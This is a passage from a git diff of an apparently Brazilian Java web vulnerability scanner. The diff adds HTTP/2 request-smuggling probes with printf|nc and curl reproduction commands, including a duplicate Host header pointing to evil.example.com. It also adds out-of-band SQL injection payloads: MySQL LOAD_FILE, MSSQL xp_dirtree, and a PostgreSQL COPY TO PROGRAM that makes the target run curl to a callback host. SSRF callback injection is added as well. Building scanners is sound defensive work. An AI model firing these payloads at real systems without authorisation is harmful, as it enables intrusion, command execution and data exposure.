Transfer-Encoding=chunked e Content-Length=1 " + "causou timeout de " + PROBE_TIMEOUT_MS + "ms -- backend usa CL e ficou aguardando " - + "dados que o frontend (usa TE) não repassou completamente", + + "dados que o frontend (usa TE) nao repassou completamente", "Frontend e backend discordam sobre como interpretar Transfer-Encoding vs Content-Length. " + "Permite HTTP request smuggling com impacto equivalente ao CL.TE.", "# Probe TE.CL -- envia via socket raw:\n" + "printf 'POST / HTTP/1.1\\r\\nHost: " + host + "\\r\\n" + "Content-Length: 1\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n" + "1\\r\\nA\\r\\n0\\r\\n\\r\\n' | nc " + host + " " + port, - "Normalizar requests ambíguos no proxy: rejeitar 400 para Content-Length + Transfer-Encoding", + "Normalizar requests ambiguos no proxy: rejeitar 400 para Content-Length + Transfer-Encoding", _cweId, _cweTitle, _cveVector, _score)); } - // ── Phase 3: TE.TE obfuscation ── + // -- Phase 3: TE.TE obfuscation -- TeTeResult teTeResult = probeTeTeObfuscation(ctx, host, port, log); if (teTeResult != null) { String variant = teTeResult.variant(); @@ -130,7 +137,7 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio } } - // ── Phase 4: Duplicate Content-Length ── + // -- Phase 4: Duplicate Content-Length -- log.accept("[~] ReqSmuggling: testando Duplicate Content-Length em " + host + ":" + port); boolean duplCl = probeDuplicateContentLength(ctx, host, port); if (duplCl) { @@ -139,7 +146,7 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio "HTTP Request Smuggling -- Duplicate Content-Length aceito", Severity.HIGH, "Servidor aceitou request com dois headers Content-Length divergentes (0 e 42) " + "sem rejeitar com 400 -- indica parser que escolhe um dos valores, " - + "criando discrepância explorável entre proxy e backend", + + "criando discrepancia exploravel entre proxy e backend", "Parser que aceita Content-Length duplicado pode permitir smuggling quando " + "proxy e backend escolhem valores diferentes. " + "Ref: HAProxy CVE-2021-40346.", "printf 'GET / HTTP/1.1\\r\\nHost: " + host + "\\r\\n" @@ -150,7 +157,7 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio _cweId, _cweTitle, _cveVector, _score)); } - // ── Phase 5: CL.0 desync ── + // -- Phase 5: CL.0 desync -- log.accept("[~] ReqSmuggling: testando CL.0 desync em " + host + ":" + port); boolean cl0 = probeCl0(ctx, host, port); if (cl0) { @@ -158,22 +165,22 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio findings.add(Finding.of("ReqSmuggling", ctx.targetUrl(), "HTTP Request Smuggling -- CL.0 desync", Severity.CRITICAL, "CL.0 probe: POST com Content-Length contendo request smuggled no body " - + "gerou duas respostas HTTP na mesma conexão -- backend ignorou o body " - + "e os bytes restantes foram interpretados como nova requisição", + + "gerou duas respostas HTTP na mesma conexao -- backend ignorou o body " + + "e os bytes restantes foram interpretados como nova requisicao", "Backend ignora Content-Length e responde antes de consumir o body. " - + "Bytes não consumidos viram o início da próxima requisição na mesma conexão, " + + "Bytes nao consumidos viram o inicio da proxima requisicao na mesma conexao, " + "permitindo request hijacking, bypass de ACL e cache poisoning. " - + "Não requer Content-Length + Transfer-Encoding -- funciona com CL sozinho.", + + "Nao requer Content-Length + Transfer-Encoding -- funciona com CL sozinho.", "# Probe CL.0 -- envia via socket raw (keep-alive):\n" + "printf 'POST / HTTP/1.1\\r\\nHost: " + host + "\\r\\n" + "Content-Length: \\r\\nConnection: keep-alive\\r\\n\\r\\n" + "GET /admin HTTP/1.1\\r\\nHost: " + host + "\\r\\n\\r\\n' | nc " + host + " " + port, "Garantir que o backend consome o body completo antes de responder; " - + "não reutilizar conexões quando o body não foi totalmente lido; " - + "configurar proxy para fechar conexão após early response", + + "nao reutilizar conexoes quando o body nao foi totalmente lido; " + + "configurar proxy para fechar conexao apos early response", _cweId, _cweTitle, _cveVector, _score)); } - // ── Phase 6: Hop-by-hop TE confusion ── + // -- Phase 6: Hop-by-hop TE confusion -- log.accept("[~] ReqSmuggling: testando hop-by-hop TE confusion em " + host + ":" + port); boolean hopByHop = probeHopByHopTe(ctx, host, port); if (hopByHop) { @@ -185,22 +192,387 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio + "proxy removeu Transfer-Encoding como hop-by-hop header, " + "backend processou body apenas via Content-Length", "Proxy trata Transfer-Encoding como hop-by-hop e o remove antes de repassar. " - + "Backend recebe request sem TE e usa CL, criando parser differential explorável. " + + "Backend recebe request sem TE e usa CL, criando parser differential exploravel. " + "Ref: Akamai CVE-2026-26365.", "# Probe hop-by-hop TE:\n" + "printf 'POST / HTTP/1.1\\r\\nHost: " + host + "\\r\\n" + "Content-Length: 8\\r\\nConnection: Transfer-Encoding\\r\\n" + "Transfer-Encoding: chunked\\r\\n\\r\\n" + "5\\r\\nHELLO' | nc " + host + " " + port, - "Não tratar Transfer-Encoding como hop-by-hop header; " + "Nao tratar Transfer-Encoding como hop-by-hop header; " + "rejeitar requests onde Connection lista Transfer-Encoding", _cweId, _cweTitle, _cveVector, _score)); } + // -- Phase 7: H2.CL smuggling -- + probeH2ClSmuggling(ctx, host, port, findings, log, _cweId, _cweTitle, _cveVector, _score); + + // -- Phase 8: H2.TE smuggling -- + probeH2TeSmuggling(ctx, host, port, findings, log, _cweId, _cweTitle, _cveVector, _score); + + // -- Phase 9: H2 header manipulation -- + probeH2HeaderManipulation(ctx, host, port, findings, log, _cweId, _cweTitle, _cveVector, _score); + + // -- Phase 10: CRLF in HTTP/2 headers -- + probeH2CrlfInjection(ctx, host, port, findings, log, _cweId, _cweTitle, _cveVector, _score); + if (findings.isEmpty()) { log.accept("[+] ReqSmuggling: nenhum desync detectado"); } return findings; } + // ======================================================================== + // Phase 7: H2.CL smuggling + // HTTP/2 request with Content-Length that mismatches actual body length. + // If a frontend proxy downgrades H2 to H1 and preserves CL, the backend + // may interpret excess body bytes as a second request. + // ======================================================================== + private void probeH2ClSmuggling(ScanContext ctx, String host, int port, List findings, + Consumer log, String cweId, String cweTitle, String cveVector, double score) { + log.accept("[~] ReqSmuggling: testando H2.CL smuggling em " + host + ":" + port); + try { + HttpClient h2 = HttpClientFactory.http2(); + String scheme = ctx.isHttps() ? "https" : "http"; + int defPort = ctx.isHttps() ? 443 : 80; + String baseUrl = scheme + "://" + host + (port != defPort ? ":" + port : ""); + + // First, confirm H2 is actually negotiated by sending a normal request + HttpRequest baseReq = HttpRequest.newBuilder().uri(URI.create(baseUrl + "/")).header("Host", host) + .timeout(Duration.ofSeconds(6)).GET().build(); + HttpResponse baseResp = Http.send(ctx, h2, baseReq, HttpResponse.BodyHandlers.ofString(), id()); + if (baseResp.version() != HttpClient.Version.HTTP_2) { + log.accept("[~] ReqSmuggling: H2 nao negociado -- pulando probes H2"); + return; + } + + // H2.CL probe: send POST with body containing a smuggled request prefix. + // Set Content-Length shorter than actual body. If proxy downgrades to H1 + // using our CL header, backend reads only CL bytes and the rest becomes + // the start of a new request. + String smuggledReq = "GET /h2cl-smuggle-probe HTTP/1.1\r\nHost: " + host + "\r\n\r\n"; + String fullBody = "X" + smuggledReq; + + // Try to set Content-Length to 1 (only "X") while body has more data + HttpRequest probe = HttpRequest.newBuilder().uri(URI.create(baseUrl + "/")) + .header("Content-Type", "application/x-www-form-urlencoded").header("Content-Length", "1") + .timeout(Duration.ofSeconds(6)).POST(HttpRequest.BodyPublishers.ofString(fullBody)).build(); + HttpResponse probeResp = Http.send(ctx, h2, probe, HttpResponse.BodyHandlers.ofString(), id()); + String probeBody = probeResp.body() != null ? probeResp.body() : ""; + int probeStatus = probeResp.statusCode(); + + // Detection: if the server returns indicators that the smuggled request + // was processed (e.g., 404 for /h2cl-smuggle-probe in body, or two + // HTTP status lines), that confirms desync + if (probeBody.contains("h2cl-smuggle-probe") || probeBody.contains("HTTP/1.1") + || probeBody.contains("HTTP/2")) { + log.accept("[!!] ReqSmuggling: HIGH -- H2.CL desync indicador detectado"); + findings.add(Finding.of("ReqSmuggling", ctx.targetUrl(), "HTTP/2 Request Smuggling -- H2.CL desync", + Severity.HIGH, + "H2.CL probe: POST via HTTP/2 com Content-Length=1 e body de " + fullBody.length() + + " bytes retornou indicadores de desync: HTTP " + probeStatus + " | " + + "Resposta contem referencia ao request smuggled", + "Frontend aceita HTTP/2 e faz downgrade para HTTP/1.1 ao backend preservando " + + "o Content-Length do request H2. Como H2 usa frame length (nao CL), " + + "o CL do header pode nao corresponder ao body real, criando desync " + + "no backend que interpreta o excesso como novo request.", + "# H2.CL probe (via curl HTTP/2):\ncurl -v --http2 -X POST " + baseUrl + "/ \\\n" + + " -H 'Content-Length: 1' \\\n" + " -d 'XGET /smuggled HTTP/1.1\\r\\nHost: " + host + + "\\r\\n\\r\\n'", + "Nao preservar Content-Length do request H2 durante downgrade para H1; " + + "recalcular CL baseado no body real; rejeitar requests com CL " + + "inconsistente; considerar end-to-end HTTP/2", + cweId, cweTitle, cveVector, score)); + } + + // Secondary check: send paired requests via H2 to detect connection-level + // desync. First request has CL mismatch, second is a canary. If the + // canary response is different from expected, desync occurred. + HttpRequest canary = HttpRequest.newBuilder().uri(URI.create(baseUrl + "/")).header("Host", host) + .timeout(Duration.ofSeconds(6)).GET().build(); + HttpResponse canaryResp = Http.send(ctx, h2, canary, HttpResponse.BodyHandlers.ofString(), id()); + int canaryStatus = canaryResp.statusCode(); + + // If canary gets a 404 (routed to /h2cl-smuggle-probe) instead of the + // expected status, the smuggled request poisoned the connection + if (canaryStatus == 404 && probeStatus != 404) { + log.accept("[!!] ReqSmuggling: CRITICAL -- H2.CL desync confirmado via canary (esperava " + probeStatus + + ", recebeu 404)"); + findings.add(Finding.of("ReqSmuggling", ctx.targetUrl(), + "HTTP/2 Request Smuggling -- H2.CL desync confirmado", Severity.CRITICAL, + "H2.CL desync confirmado: request canary (GET /) retornou HTTP 404 " + + "apos probe com CL mismatch -- request smuggled envenenou a conexao", + "Frontend aceita HTTP/2 e faz downgrade para H1 preservando CL incorreto. " + + "Dados excedentes no body sao interpretados como novo request, " + + "comprometendo requests de outros usuarios na mesma conexao.", + "# Confirma H2.CL com canary:\ncurl --http2 -X POST " + baseUrl + "/ \\\n" + + " -H 'Content-Length: 1' -d 'XGET /probe HTTP/1.1\\r\\n\\r\\n'\n" + + "# Seguido imediatamente por:\ncurl --http2 " + baseUrl + "/", + "Nao preservar Content-Length do H2 durante downgrade; recalcular CL " + + "com base no body real; usar HTTP/2 end-to-end", + cweId, cweTitle, cveVector, score)); + } + } catch (Exception e) { + log.accept("[~] ReqSmuggling: erro no probe H2.CL -- " + e.getMessage()); + } + } + + // ======================================================================== + // Phase 8: H2.TE smuggling + // HTTP/2 request with Transfer-Encoding header (forbidden in H2 spec). + // If proxy passes it through during H1 downgrade, backend may process + // chunked encoding, creating desync. + // ======================================================================== + private void probeH2TeSmuggling(ScanContext ctx, String host, int port, List findings, + Consumer log, String cweId, String cweTitle, String cveVector, double score) { + log.accept("[~] ReqSmuggling: testando H2.TE smuggling em " + host + ":" + port); + try { + HttpClient h2 = HttpClientFactory.http2(); + String scheme = ctx.isHttps() ? "https" : "http"; + int defPort = ctx.isHttps() ? 443 : 80; + String baseUrl = scheme + "://" + host + (port != defPort ? ":" + port : ""); + + // Verify H2 is negotiated + HttpRequest checkReq = HttpRequest.newBuilder().uri(URI.create(baseUrl + "/")) + .timeout(Duration.ofSeconds(6)).GET().build(); + HttpResponse checkResp = Http.send(ctx, h2, checkReq, HttpResponse.BodyHandlers.ofString(), id()); + if (checkResp.version() != HttpClient.Version.HTTP_2) { + return; // Already logged in H2.CL phase + } + + // H2.TE probe: send HTTP/2 request with Transfer-Encoding: chunked header. + // H2 spec (RFC 9113 sec 8.2.2) forbids TE except TE: trailers. + // If the proxy/server does not reject this, it may pass TE through to backend. + String smuggled = "0\r\n\r\nGET /h2te-smuggle-probe HTTP/1.1\r\nHost: " + host + "\r\n\r\n"; + String chunkedBody = "5\r\nHELLO\r\n" + smuggled; + + HttpRequest probe = HttpRequest.newBuilder().uri(URI.create(baseUrl + "/")) + .header("Content-Type", "application/x-www-form-urlencoded").header("Transfer-Encoding", "chunked") + .timeout(Duration.ofSeconds(6)).POST(HttpRequest.BodyPublishers.ofString(chunkedBody)).build(); + HttpResponse probeResp = Http.send(ctx, h2, probe, HttpResponse.BodyHandlers.ofString(), id()); + int probeStatus = probeResp.statusCode(); + String probeBody = probeResp.body() != null ? probeResp.body() : ""; + + // If server did NOT reject with 400/500, TE was accepted in H2 context + if (probeStatus >= 200 && probeStatus < 400) { + // Check for desync indicators + boolean desyncIndicator = probeBody.contains("h2te-smuggle-probe") || probeBody.contains("HTTP/1.1") + || probeBody.contains("HTTP/2"); + + if (desyncIndicator) { + log.accept("[!!] ReqSmuggling: HIGH -- H2.TE desync detectado"); + findings.add(Finding.of("ReqSmuggling", ctx.targetUrl(), "HTTP/2 Request Smuggling -- H2.TE desync", + Severity.HIGH, + "H2.TE probe: Transfer-Encoding: chunked aceito via HTTP/2 (HTTP " + probeStatus + + ") e resposta contem indicadores de desync", + "Proxy aceita Transfer-Encoding em HTTP/2 (violacao RFC 9113) e o " + + "propaga ao backend durante downgrade. Backend processa chunked " + + "encoding, terminando o body no primeiro 0\\r\\n\\r\\n -- bytes " + + "restantes viram novo request.", + "# H2.TE probe:\ncurl --http2 -X POST " + baseUrl + "/ \\\n" + + " -H 'Transfer-Encoding: chunked' \\\n" + + " -d '5\\r\\nHELLO\\r\\n0\\r\\n\\r\\nGET /probe HTTP/1.1\\r\\n\\r\\n'", + "Rejeitar requests HTTP/2 com Transfer-Encoding header (exceto TE: trailers); " + + "nao propagar TE durante H2->H1 downgrade; usar HTTP/2 end-to-end", + cweId, cweTitle, cveVector, score)); + } else { + log.accept("[!] ReqSmuggling: MEDIUM -- Transfer-Encoding aceito em HTTP/2 (sem desync)"); + findings.add(Finding.of("ReqSmuggling", ctx.targetUrl(), + "HTTP/2 Transfer-Encoding aceito (violacao RFC 9113)", Severity.MEDIUM, + "Transfer-Encoding: chunked aceito em HTTP/2 request sem rejeicao " + "(HTTP " + probeStatus + + ") -- violacao de RFC 9113 sec 8.2.2", + "Servidor ou proxy aceita Transfer-Encoding em HTTP/2, violando a spec. " + + "Em uma arquitetura com H2-to-H1 downgrade, isso habilita H2.TE " + + "smuggling. Risco depende da topologia de proxy.", + "curl --http2 -X POST " + baseUrl + "/ \\\n" + + " -H 'Transfer-Encoding: chunked' -d 'test'", + "Rejeitar Transfer-Encoding em requests HTTP/2; configurar proxy " + + "para strip TE antes de downgrade; atualizar software de proxy", + cweId, cweTitle, cveVector, score)); + } + } + } catch (IllegalArgumentException iae) { + // Java's HttpClient rejected the Transfer-Encoding header in H2 mode -- + // this is expected and means the client-side enforces the spec + log.accept("[~] ReqSmuggling: H2.TE -- cliente Java rejeitou TE em H2 (spec-compliant)"); + } catch (Exception e) { + log.accept("[~] ReqSmuggling: erro no probe H2.TE -- " + e.getMessage()); + } + } + + // ======================================================================== + // Phase 9: H2 header manipulation + // Test for pseudo-header injection, duplicate Host, and header name + // anomalies in HTTP/2 requests that may exploit H2-to-H1 downgrade. + // ======================================================================== + private void probeH2HeaderManipulation(ScanContext ctx, String host, int port, List findings, + Consumer log, String cweId, String cweTitle, String cveVector, double score) { + log.accept("[~] ReqSmuggling: testando H2 header manipulation em " + host + ":" + port); + try { + HttpClient h2 = HttpClientFactory.http2(); + String scheme = ctx.isHttps() ? "https" : "http"; + int defPort = ctx.isHttps() ? 443 : 80; + String baseUrl = scheme + "://" + host + (port != defPort ? ":" + port : ""); + + // Test 1: Duplicate Host header + // If proxy combines both Host values or picks the wrong one during + // downgrade, it can cause routing confusion (cache poisoning, SSRF) + try { + HttpRequest dualHost = HttpRequest.newBuilder().uri(URI.create(baseUrl + "/")).header("Host", host) + .header("Host", "evil.example.com").timeout(Duration.ofSeconds(6)).GET().build(); + HttpResponse dualResp = Http.send(ctx, h2, dualHost, HttpResponse.BodyHandlers.ofString(), + id()); + String dualBody = dualResp.body() != null ? dualResp.body() : ""; + int dualStatus = dualResp.statusCode(); + + // If server responded 200 (not 400) and the response contains + // references to evil.example.com, the duplicate Host was processed + if (dualStatus >= 200 && dualStatus < 400 && dualBody.contains("evil.example.com")) { + log.accept("[!] ReqSmuggling: MEDIUM -- duplicate Host aceito em H2"); + findings.add(Finding.of("ReqSmuggling", ctx.targetUrl(), "HTTP/2 duplicate Host header aceito", + Severity.MEDIUM, + "HTTP/2 request com dois Host headers ('" + host + "' e 'evil.example.com') " + + "retornou HTTP " + dualStatus + " com referencia ao host injetado", + "Servidor aceita Host duplicado em HTTP/2 -- durante H2-to-H1 downgrade, " + + "proxy pode gerar request H1 com Host ambiguo, habilitando cache " + + "poisoning, SSRF ou routing manipulation.", + "curl --http2 -H 'Host: " + host + "' -H 'Host: evil.example.com' " + baseUrl + "/", + "Rejeitar requests com Host duplicado; normalizar Host " + + "antes de processar; usar :authority como canonico em H2", + cweId, cweTitle, cveVector, score)); + } + } catch (IllegalArgumentException ignored) { + // Java's HttpClient may reject duplicate Host -- that's fine + } + + // Test 2: Space in header name (header name injection) + // Some servers/proxies accept "X Method: GET" which could cause + // confusion during H2->H1 conversion + try { + HttpRequest spaceHeader = HttpRequest.newBuilder().uri(URI.create(baseUrl + "/")) + .header("X-Custom Header", "test-value").timeout(Duration.ofSeconds(6)).GET().build(); + HttpResponse spaceResp = Http.send(ctx, h2, spaceHeader, HttpResponse.BodyHandlers.ofString(), + id()); + + if (spaceResp.statusCode() >= 200 && spaceResp.statusCode() < 400) { + log.accept("[~] ReqSmuggling: servidor aceitou header com espaco no nome via H2"); + // This is informational -- header name with space accepted + } + } catch (IllegalArgumentException ignored) { + // Expected -- Java validates header names + } + + // Test 3: Pseudo-header as regular header + // Try to include :method, :path as regular headers. In H2 these are + // pseudo-headers; if a proxy passes them as H1 headers, backend + // may misroute the request. + try { + HttpRequest pseudoHeader = HttpRequest.newBuilder().uri(URI.create(baseUrl + "/")) + .header("x-http2-method", "DELETE").header("x-http2-path", "/admin") + .header("x-http2-scheme", "https").timeout(Duration.ofSeconds(6)).GET().build(); + HttpResponse pseudoResp = Http.send(ctx, h2, pseudoHeader, HttpResponse.BodyHandlers.ofString(), + id()); + String pseudoBody = pseudoResp.body() != null ? pseudoResp.body() : ""; + + // Some reverse proxies (like Envoy) use X-Forwarded-Method or similar + // to override the actual method. Check if the response indicates + // the server treated this as a DELETE or routed to /admin + if (pseudoResp.statusCode() == 405 || pseudoBody.contains("DELETE") || pseudoBody.contains("/admin")) { + log.accept("[!] ReqSmuggling: MEDIUM -- pseudo-header override detectado via H2"); + findings.add(Finding.of("ReqSmuggling", ctx.targetUrl(), + "HTTP/2 pseudo-header override via custom headers", Severity.MEDIUM, + "HTTP/2 request com x-http2-method: DELETE e x-http2-path: /admin " + "retornou HTTP " + + pseudoResp.statusCode() + " indicando que o header influenciou o roteamento", + "Proxy ou backend aceita headers custom que sobrescrevem metodo ou path " + + "do request -- atacante pode acessar endpoints restritos " + + "ou executar metodos nao permitidos.", + "curl --http2 -H 'x-http2-method: DELETE' -H 'x-http2-path: /admin' " + baseUrl + "/", + "Ignorar headers que tentam sobrescrever pseudo-headers H2; " + + "usar apenas :method e :path do frame HEADERS como autoritativos", + cweId, cweTitle, cveVector, score)); + } + } catch (IllegalArgumentException ignored) { + // Header name rejected + } + } catch (Exception e) { + log.accept("[~] ReqSmuggling: erro nos probes de header manipulation -- " + e.getMessage()); + } + } + + // ======================================================================== + // Phase 10: CRLF in HTTP/2 headers + // In HTTP/2, headers are binary-safe. If a proxy downgrades to HTTP/1.1 + // without sanitizing, CRLF in header values becomes header injection. + // ======================================================================== + private void probeH2CrlfInjection(ScanContext ctx, String host, int port, List findings, + Consumer log, String cweId, String cweTitle, String cveVector, double score) { + log.accept("[~] ReqSmuggling: testando CRLF injection em HTTP/2 headers em " + host + ":" + port); + try { + HttpClient h2 = HttpClientFactory.http2(); + String scheme = ctx.isHttps() ? "https" : "http"; + int defPort = ctx.isHttps() ? 443 : 80; + String baseUrl = scheme + "://" + host + (port != defPort ? ":" + port : ""); + + // Try CRLF injection via header value + // If Java's HttpClient allows \r\n in header values (unlikely in modern JDK), + // and the proxy downgrades to H1 without sanitizing, the injected CRLF + // becomes a header line break, creating a new header. + String[] crlfPayloads = {"bar\r\nX-Injected: h2crlf-probe", + "bar\r\n\r\nGET /h2crlf-smuggle HTTP/1.1\r\nHost: " + host + "\r\n\r\n", + "bar\nX-Injected: h2crlf-lf-probe"}; + + for (String payload : crlfPayloads) { + try { + HttpRequest crlfReq = HttpRequest.newBuilder().uri(URI.create(baseUrl + "/")) + .header("X-Test", payload).timeout(Duration.ofSeconds(6)).GET().build(); + HttpResponse crlfResp = Http.send(ctx, h2, crlfReq, HttpResponse.BodyHandlers.ofString(), + id()); + String crlfBody = crlfResp.body() != null ? crlfResp.body() : ""; + + // Check if the injection affected the response + if (crlfBody.contains("h2crlf-probe") || crlfBody.contains("h2crlf-lf-probe") + || crlfBody.contains("h2crlf-smuggle") || crlfBody.contains("X-Injected")) { + log.accept("[!!] ReqSmuggling: HIGH -- CRLF injection em H2 headers confirmada"); + findings.add(Finding.of("ReqSmuggling", ctx.targetUrl(), + "HTTP/2 CRLF header injection -- H2-to-H1 downgrade", Severity.HIGH, + "CRLF em header value HTTP/2 foi preservado durante downgrade para H1: " + "payload '" + + payload.replace("\r", "\\r").replace("\n", "\\n") + + "' resultou em header injection na resposta", + "Headers HTTP/2 sao binary-safe (sem delimitadores CRLF). Quando " + + "proxy faz downgrade para HTTP/1.1 sem sanitizar, caracteres " + + "\\r\\n em header values se tornam quebras de header no H1, " + + "permitindo header injection e potencialmente response splitting.", + "curl --http2 -H 'X-Test: bar\\r\\nX-Injected: probe' " + baseUrl + "/", + "Sanitizar header values durante H2-to-H1 downgrade: strip ou rejeitar " + + "\\r e \\n em valores; usar proxy que valida headers durante conversao", + cweId, cweTitle, cveVector, score)); + return; + } + + // Also check response headers for injected header + if (crlfResp.headers().firstValue("X-Injected").isPresent()) { + log.accept("[!!] ReqSmuggling: HIGH -- CRLF injection confirmada via response headers"); + findings.add(Finding.of("ReqSmuggling", ctx.targetUrl(), + "HTTP/2 CRLF header injection -- header refletido", Severity.HIGH, + "CRLF injection em HTTP/2 header value criou header X-Injected na resposta " + + "-- proxy fez downgrade sem sanitizar header values", + "Proxy nao sanitiza CRLF em header values durante H2->H1 downgrade, " + + "permitindo injecao de headers arbitrarios e response splitting.", + "curl --http2 -H 'X-Test: bar\\r\\nX-Injected: probe' " + baseUrl + "/", + "Sanitizar header values durante H2->H1 downgrade; atualizar proxy", cweId, cweTitle, + cveVector, score)); + return; + } + } catch (IllegalArgumentException iae) { + // Java's HttpClient rejected the header value containing CRLF -- + // this is expected behavior for modern JDKs + log.accept("[~] ReqSmuggling: CRLF em header rejeitado pelo cliente Java (spec-compliant)"); + break; // All payloads will be rejected + } + } + } catch (Exception e) { + log.accept("[~] ReqSmuggling: erro no probe H2 CRLF -- " + e.getMessage()); + } + } + // CL.TE: CL says 4 bytes, TE body is 8 bytes ("1\r\nA\r\n0\r\n\r\n") // Frontend (uses CL) forwards 4 bytes: "1\r\n" -- backend (uses TE) sees // incomplete chunk, hangs @@ -211,7 +583,7 @@ private String buildClTeProbe(String host) { } // TE.CL: TE=chunked body complete (8 bytes), CL=1 (says only 1 byte) - // Frontend (uses TE) processes full chunked body → backend (uses CL) expects 1 + // Frontend (uses TE) processes full chunked body -> backend (uses CL) expects 1 // byte, gets incomplete first line, hangs private String buildTeCLProbe(String host) { return "POST / HTTP/1.1\r\n" + "Host: " + host + "\r\n" + "Content-Type: application/x-www-form-urlencoded\r\n" diff --git a/src/main/java/gg/effront/anarcry/scanner/web/sqli/SqlInjectionModule.java b/src/main/java/gg/effront/anarcry/scanner/web/sqli/SqlInjectionModule.java index 78d56a3..da6224b 100644 --- a/src/main/java/gg/effront/anarcry/scanner/web/sqli/SqlInjectionModule.java +++ b/src/main/java/gg/effront/anarcry/scanner/web/sqli/SqlInjectionModule.java @@ -7,6 +7,8 @@ import gg.effront.anarcry.model.Severity; import gg.effront.anarcry.scanner.ScanContext; import gg.effront.anarcry.scanner.Scanner; +import gg.effront.anarcry.scanner.oast.OastCorrelator; +import gg.effront.anarcry.scanner.oast.OastPayload; import gg.effront.anarcry.scanner.util.Http; import gg.effront.anarcry.scanner.util.CircuitBreakerException; import gg.effront.anarcry.scanner.util.HttpClientFactory; @@ -159,6 +161,8 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio // -- Phase 2: Time-Based Blind -- if (noTimeBased) { + // Phase 3: OOB DNS exfiltration via OAST (even when time-based is skipped) + injectOobSqli(ctx, hc, base, path, param, log); return local; } long b1 = measureRtt(ctx, hc, base + path + "?" + param + "=1", log); @@ -233,6 +237,9 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio } catch (Exception ignored) { } } + + // Phase 3: OOB DNS exfiltration via OAST (complement to time-based) + injectOobSqli(ctx, hc, base, path, param, log); } return local; }); @@ -271,6 +278,61 @@ private List mergeKbErrorPayloads() { return List.copyOf(merged); } + /** + * Inject OOB DNS exfiltration payloads via OAST for blind SQLi detection. These + * DB-specific payloads trigger DNS/HTTP lookups to the OAST callback server: + * + *
    + *
  • MySQL: {@code LOAD_FILE('\\\\\\\\')} -- UNC path triggers + * DNS lookup + *
  • MSSQL: {@code xp_dirtree '\\\\\\'} -- directory listing + * triggers DNS + *
  • PostgreSQL: {@code COPY ... FROM PROGRAM 'curl /'} -- HTTP + * callback + *
+ */ + private void injectOobSqli(ScanContext ctx, HttpClient hc, String base, String path, String param, + Consumer log) { + OastCorrelator oast = ctx.oastCorrelator(); + if (oast == null || oast.callbackBaseUrl().isEmpty()) { + return; + } + // Extract host:port from callback base URL for UNC-style payloads + String cbBase = oast.callbackBaseUrl(); + String cbHost = cbBase.replaceFirst("^https?://", "").replaceFirst("/.*$", ""); + + // MySQL: LOAD_FILE with UNC path + String mysqlId = OastCorrelator.generatePayloadId(); + String mysqlPayload = "' AND LOAD_FILE('\\\\\\\\" + cbHost + "\\\\\\\\" + mysqlId + "')-- "; + injectOobPayload(ctx, hc, oast, base, path, param, mysqlId, mysqlPayload, "MySQL-OOB", log); + + // MSSQL: xp_dirtree with UNC path + String mssqlId = OastCorrelator.generatePayloadId(); + String mssqlPayload = "'; EXEC xp_dirtree '\\\\\\\\" + cbHost + "\\\\" + mssqlId + "'-- "; + injectOobPayload(ctx, hc, oast, base, path, param, mssqlId, mssqlPayload, "MSSQL-OOB", log); + + // PostgreSQL: COPY FROM PROGRAM with curl + String pgId = OastCorrelator.generatePayloadId(); + String pgPayload = "'; COPY (SELECT 1) TO PROGRAM 'curl " + oast.callbackUrl(pgId) + "'-- "; + injectOobPayload(ctx, hc, oast, base, path, param, pgId, pgPayload, "PostgreSQL-OOB", log); + } + + private void injectOobPayload(ScanContext ctx, HttpClient hc, OastCorrelator oast, String base, String path, + String param, String payloadId, String payload, String label, Consumer log) { + try { + oast.registerPayload( + new OastPayload(payloadId, id(), path + "?" + param, param, payload, System.currentTimeMillis())); + String encoded = URLEncoder.encode(payload, "UTF-8"); + String url = base + path + "?" + param + "=" + encoded; + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(6)).GET() + .build(); + Http.send(ctx, hc, req, HttpResponse.BodyHandlers.discarding(), id()); + log.accept("[~] SQLi: OOB payload " + label + " injetado em " + path + "?" + param); + } catch (Exception e) { + // OOB injection errors are non-fatal + } + } + /** Returns elapsed ms, or -1 on connection error (not timeout). */ private long measureRtt(ScanContext ctx, HttpClient hc, String url, Consumer log) { try { diff --git a/src/main/java/gg/effront/anarcry/scanner/web/ssrf/SsrfModule.java b/src/main/java/gg/effront/anarcry/scanner/web/ssrf/SsrfModule.java index 8fc7728..e5edd1b 100644 --- a/src/main/java/gg/effront/anarcry/scanner/web/ssrf/SsrfModule.java +++ b/src/main/java/gg/effront/anarcry/scanner/web/ssrf/SsrfModule.java @@ -6,6 +6,8 @@ import gg.effront.anarcry.model.Severity; import gg.effront.anarcry.scanner.ScanContext; import gg.effront.anarcry.scanner.Scanner; +import gg.effront.anarcry.scanner.oast.OastCorrelator; +import gg.effront.anarcry.scanner.oast.OastPayload; import gg.effront.anarcry.scanner.util.Http; import gg.effront.anarcry.scanner.util.HttpClientFactory; import gg.effront.anarcry.scanner.util.ProbeExecutor; @@ -256,6 +258,35 @@ public List scan(ScanContext ctx, Consumer log) throws Exceptio } findings.addAll(ProbeExecutor.run(mainTasks, concurrency, cancelMain)); + // Phase 2b: OOB SSRF via OAST callback -- inject callback URLs as SSRF targets + OastCorrelator oast = ctx.oastCorrelator(); + if (findings.isEmpty() && oast != null && !oast.callbackBaseUrl().isEmpty()) { + log.accept("[~] SSRF: injetando payloads OOB via OAST callback server"); + boolean waf = ctx.wafState().isWafDetected(); + List oobParams = waf ? WAF_URL_PARAMS : urlParams; + for (String path : activePaths) { + for (String param : oobParams) { + try { + String payloadId = OastCorrelator.generatePayloadId(); + String oobCallbackUrl = oast.callbackUrl(payloadId); + String encoded = URLEncoder.encode(oobCallbackUrl, "UTF-8"); + String url = baseUrl + path + "?" + param + "=" + encoded; + + oast.registerPayload(new OastPayload(payloadId, id(), path + "?" + param, param, oobCallbackUrl, + System.currentTimeMillis())); + + HttpRequest req = HttpRequest.newBuilder().uri(URI.create(url)).timeout(Duration.ofSeconds(5)) + .GET().build(); + Http.send(ctx, hc, req, HttpResponse.BodyHandlers.discarding(), id()); + } catch (Exception e) { + // OOB injection errors are non-fatal -- continue + } + } + } + log.accept("[~] SSRF: " + oast.pendingCount() + " payloads OOB registrados" + + " -- callbacks serao correlacionados apos Phase 2"); + } + // Phase 3: Redirect bypass -- parallelized by path if 